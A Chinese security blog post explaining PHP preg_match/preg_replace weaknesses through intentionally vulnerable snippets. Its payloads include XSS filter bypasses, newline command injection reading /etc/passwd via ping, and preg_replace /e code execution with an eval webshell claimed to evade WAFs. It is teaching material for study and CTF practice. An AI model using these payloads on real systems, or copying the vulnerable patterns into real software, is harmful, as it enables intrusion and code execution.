PHP preg_系列漏洞小结
最近看 P 神以前写的文章,其中在 3 个参数的回调函数中提到了 preg_replace /e 命令执行,对这块不是很熟悉的我特此写这篇文章总结学习一下。
preg_match
int preg_match ( string $pattern , string $subject [, array &$matches [, int $flags = 0 [, int $offset = 0 ]]] )
preg_match 函数用于执行一个正则表达式匹配
参数 | 说明 |
---|---|
$pattern | 要搜索的模式,字符串形式。 |
$subject | 要搜索检测的目标字符串 |
$matches | 如果提供了参数matches,它将被填充为搜索结果 $matches[0]将包含完整模式匹配到的文本, $matches[1] 将包含第一个捕获子组匹配到的文本,以此类推。 |
$flags | 可设置标记值,详细用法参考 PHP手册:preg_match |
$offset | 可选参数 offset 用于指定从目标字符串的某个未知开始搜索(单位是字节)。 |
preg_replace
preg_replace — 执行一个正则表达式的搜索和替换
preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] ) : mixed
搜索subject
中匹配pattern
的部分, 以replacement
进行替换。
参数 | 说明 |
---|---|
$pattern | 要搜索的模式,可以是字符串或一个字符串数组 |
$replacement | 用于替换的字符串或字符串数组 |
$subject | 要搜索替换的目标字符串或字符串数组 |
$limit | 可选,对于每个模式用于每个 subject 字符串的最大可替换次数。 默认是-1(无限制) |
$count | 可选,为替换执行的次数 |
如果subject
是一个数组, **preg_replace()**返回一个数组, 其他情况下返回一个字符串。
如果匹配被查找到,替换后的subject
被返回,其他情况下 返回没有改变的 subject
。如果发生错误,返回 NULL
。
场景1 嵌套双写绕过
依然来使用 XSS 的例子:
<?php
error_reporting(0);
$name = $_GET["name"];
$name = preg_replace('/script/i','',$name);
echo $name;
?>
虽然使用了 /i 匹配大小写字母,但是逻辑有问题,只是仅仅将关键词替换为空,可以使用嵌套双写绕过:
http://x.x.x.x/xxx.php?name=<sscriptcript>alert(2333)</sscriptcript>
类似这种过滤逻辑,在 str_replace 函数中也常见到:
$name = str_replace( 'script', '', $_GET[ 'name' ] );
嵌套双写的加固方法:
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
使用通配符去匹配的话就可以有效地杜绝嵌套双写 Bypass 的方法,不够 XSS 正确的加固的方法是 HTML 实体化。
修饰符
下面只列举安全生产中常用的修饰符 /i
/m
以及本文重点说的 /e
/i
场景1 大小写绕过
/i 修饰符大小写不敏感,如果没有使用 /i 的话,很容易使用大小写绕过。下面来看一个经典的反射 XSS 案例:
<?php
error_reporting(0);
$name = $_GET["name"];
if (preg_match('/script/', $_GET["name"])) {
die('hacker');
}
echo $name;
?>
因为没有使用大小写,只过滤了 <script>
和 </script>
,所以这里简单改一下大小写就可以绕过了:
http://x.x.x.x/xxx.php?name=<Script>alert(2333)</Script>
/m
/m 多行匹配,但是当出现换行符 %0a
的时候,会被当做两行处理,而此时只可以匹配第 1 行,后面的行就会被忽略。
<pre>
<?php
if (!(preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}.\d{1,3}$/m', $_GET['ip']))) {
die("Invalid IP address");
}
system("ping -c 2 ".$_GET['ip']);
?>
</pre>
换行后即可 Bypass:
http://x.x.x.x/xxx.php?ip=127.0.0.1%0acat /etc/passwd
/e
场景1 无限制传参
<?php
echo preg_replace($_GET["pattern"], $_GET["new"], $_GET["base"]);
?>
所以可以传入 /e 的修饰符,然后让代码执行:
http://x.x.x.x/xxx.php?pattern=/233/e&new=phpinfo()&base=233
场景 2 简单正则匹配
<?php
error_reporting(0);
include('flag.php');
$pattern = $_REQUEST["pattern"];
$new = $_POST["new"];
$base = '2333';
preg_replace(
$pattern,
$new,
$base
);
?>
就是题型 1 稍微改动了一下,preg_replace 的 $pattern 部分可控,可以手动传入 /e 修饰符,让 $pattern
和 $base
匹配的时候,$new
部分的代码就会被执行,利用这个原理可以构造入下 payload:
http://10.211.55.5/shell/shell.php?pattern=/\d/e
此时使用中国蚁剑去连接 自定义请求头:
可以直接拿到 getshell 拿到 flag:
场景3 进阶正则匹配
<?php
error_reporting(0);
function complexStrtolower($regex, $value){
return preg_replace('/('.$regex.')/ei', 'strtolower("\\1")', $value);
}
foreach($_REQUEST as $regex => $value){
echo complexStrtolower($regex, $value) . "\n";
}
highlight_file(__FILE__);
?>
$regex
和 $value
用户可控,所以思路是构造一个 $regex
匹配 $value
的同时,也让 $value
当做代码执行。
正则表达式 | 含义 |
---|---|
. |
匹配除换行符以外的任意字符 |
\s |
匹配任意的空白符 |
\S |
匹配任何非空白字符 |
+ |
匹配前面的子表达式一次或多次 |
所以让 $regex
和 $value
匹配很简单,payload 大概如下即可:
\S+=要执行的 PHP 代码
现在重点研究如何让 PHP 代码被执行吧,我们此时用的 payload 如下:
\S+={${phpinfo()}}
这里涉及到 PHP 可变变量的姿势,这边单独来说明记录一下。
可变变量是一种独特的变量,它允许动态改变一个变量名称。其工作原理是该变量的名称由另外一个变量的值来确定,实现过程就是在变量的前面再多加一个$
<?php
$change_name = 'hello';
$hello = 'Hello World';
echo $$change_name; //echo $hello
?>
再看一下下面的例子:
<?php
$a = 'hello';
$$a = 'world'; //$hello=world
echo "$a $hello";
echo "$a ${$a}"; //$a $hello
?>
$a
的内容是 hello $hello
的内容是 world。上面代码他们都会输出:hello world。
最后输出的的值为:Hello World
完整的调试过程可以参考下面的详细代码,其中在某些正则的情况下可能存在替换多次的情况,这个可能和 PHP 底层的调度算法有关,不用深入追加这个问题:
<?php
error_reporting(0);
var_dump(phpinfo()); // bool(true)
var_dump(strtolower(true)); // string(1) "1"
var_dump(strtolower(phpinfo())); // string(1) "1"
var_dump(preg_replace('/2333/i','ok','2333')); // string(2) "ok"
var_dump(preg_replace('/\d+/i','ok','2333')); // string(2) "ok"
var_dump(preg_replace('/\S+/i','ok','2333')); // string(2) "ok"
var_dump(preg_replace('/.{4}/i','ok','2333')); // string(2) "ok"
var_dump(preg_replace('/[0-9]/i','ok','2333')); // string(8) "okokokok"
var_dump(preg_replace('/[0-9]+/i','ok','2333')); // string(2) "ok"
var_dump(preg_replace('/([0-9])([0-9])/i','ok','2333')); // string(4) "okok"
var_dump(preg_replace('/([0-9])([0-9])([0-9])/i','ok','2333')); // string(3) "ok3"
var_dump(preg_replace('/([0-9])([0-9])([0-9])/i','ok','23333333')); // string(6) "okok33"
var_dump(preg_replace('/.*/i','ok','2333')); // string(4) "okok"
var_dump(preg_replace('/(.*)/ie','1','{${phpinfo()}}')); // string(2) "11"
var_dump(preg_replace('/(.*)/ie','strtolower("\\1")','{${phpinfo()}}')); // phpinfo() 执行成功 并输出 string(0) ""
var_dump(preg_replace('/(.*)/ie','strtolower("{${phpinfo()}}")','{${phpinfo()}}')); // phpinfo() 执行成功 并输出 string(0) ""
// strtolower("{${phpinfo()}}") 执行后相当于 strtolower("{${1}}") 又相当于 strtolower("{null}") 又相当于 '' 空字符串
?>
最后一行
strtolower("{${phpinfo()}}")
${phpinfo()}
中的 phpinfo()
会被当做变量先执行,执行后,即变成 ${1}
,因为 phpinfo()
成功执行返回 true,所以最后执行后相当于
strtolower("{${1}}") //var_dump 的输出结果 string(0) ""
再次来分析这个 payload:
return preg_replace('/(\S+)/ei', 'strtolower("\\1")', '{${phpinfo()}}');
这次来重点分析理解一下这个代码:
strtolower("\\1")
因为字符串中的特殊字符需要转义, 所以\\1
实际上就是 \1
,而 \1
在正则表达式中表示反向引用。
对一个正则表达式模式或部分模式两边添加圆括号将导致相关匹配存储到一个临时缓冲区中,所捕获的每个子匹配都按照在正则表达式模式中从左到右出现的顺序存储。缓冲区编号从 1 开始,最多可存储 99 个捕获的子表达式。每个缓冲区都可以使用
\n
访问,其中 n 为一个标识特定缓冲区的一位或两位十进制数。
所以最终 \1
就捕获到了 {${phpinfo()}}
,所以最终 strtolower("{${phpinfo()}}")
就被当做代码执行了。
场景4 多个缓冲区正则匹配
和上面的例子差不多,只是这里想办法让我们的 payload 放入到 \2
编号为 2 的缓冲区:
<?php
error_reporting(0);
include('flag.php');
$content = $_POST['x'];
$content = preg_replace(
'(([0-9])(.*?)\1)e',
'strtoupper("\\2")',
$content
);
highlight_file(__FILE__);
?>
最终构造的 POST 数据提交如下 payload,下面只使用一个 phpinfo() 函数测试一下:
x=1{${eval($_POST[2])}}1&2=phpinfo();
有因为在正则表达式中 $1
、$2
、……表示正则表达式里面第一个、第二个、……括号里面的匹配内容,所以:
'strtoupper("\\2")',
改为如下代码也是完全可行的:
'strtoupper("$2")',
此方法还可以过最新的安全狗和 D 盾
参考资料
支持一下
本文可能实际上也没有啥技术含量,但是写起来还是比较浪费时间的,在这个喧嚣浮躁的时代,个人博客越来越没有人看了,写博客感觉一直是用爱发电的状态。如果你恰巧财力雄厚,感觉本文对你有所帮助的话,可以考虑打赏一下本文,用以维持高昂的服务器运营费用(域名费用、服务器费用、CDN费用等)
微信
![]() |
支付宝
![]() |
没想到文章加入打赏列表没几天 就有热心网友打赏了 于是国光我用 Bootstrap 重写了一个页面用以感谢支持我的朋友,详情请看 打赏列表 | 国光